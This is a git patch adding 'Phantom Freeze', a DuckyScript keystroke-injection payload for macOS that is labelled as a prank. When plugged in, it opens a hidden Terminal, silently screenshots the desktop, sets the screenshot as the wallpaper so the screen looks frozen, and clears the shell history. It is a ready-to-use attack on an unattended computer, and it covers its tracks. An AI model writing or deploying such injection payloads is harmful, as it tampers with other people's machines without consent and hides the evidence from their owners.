From 3f620121e29b1ef1037439c28f69eb9bc94e5fa2 Mon Sep 17 00:00:00 2001 From: narstybits Date: Sat, 27 May 2023 18:29:13 -0500 Subject: [PATCH] Added Phantom Freeze --- Pranks/Phantom Freeze.txt | 41 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 Pranks/Phantom Freeze.txt diff --git a/Pranks/Phantom Freeze.txt b/Pranks/Phantom Freeze.txt new file mode 100644 index 0000000..613c017 --- /dev/null +++ b/Pranks/Phantom Freeze.txt @@ -0,0 +1,41 @@ +REM Runs a command to hide the terminal application. +REM Change the location of screenshots to a temporary directory. +REM Kill and restart the SystemUIServer to apply the changes. +REM Capture a screenshot of the current screen silently (without making a camera sound). +REM Set the screenshot as the new wallpaper, effectively making the desktop look frozen. +REM Clear the terminal history and exit the terminal. + + +REM Title: Phantom Freeze +REM Author: Narsty +REM Target: MacOS +REM Version: 1.0 +REM Category: Prank + +DELAY 500 +GUI SPACE +DELAY 200 +STRING Terminal +DELAY 200 +ENTER +DELAY 1000 +STRING osascript -e 'tell application "System Events" to set visible of process "Terminal" to false' +ENTER +DELAY 200 +STRING defaults write com.apple.screencapture location /tmp/ +ENTER +DELAY 200 +STRING killall SystemUIServer +ENTER +DELAY 200 +STRING screencapture -x /tmp/ghost.png +ENTER +DELAY 200 +STRING osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/tmp/ghost.png"' +ENTER +DELAY 200 +STRING history -c && exit +ENTER + + +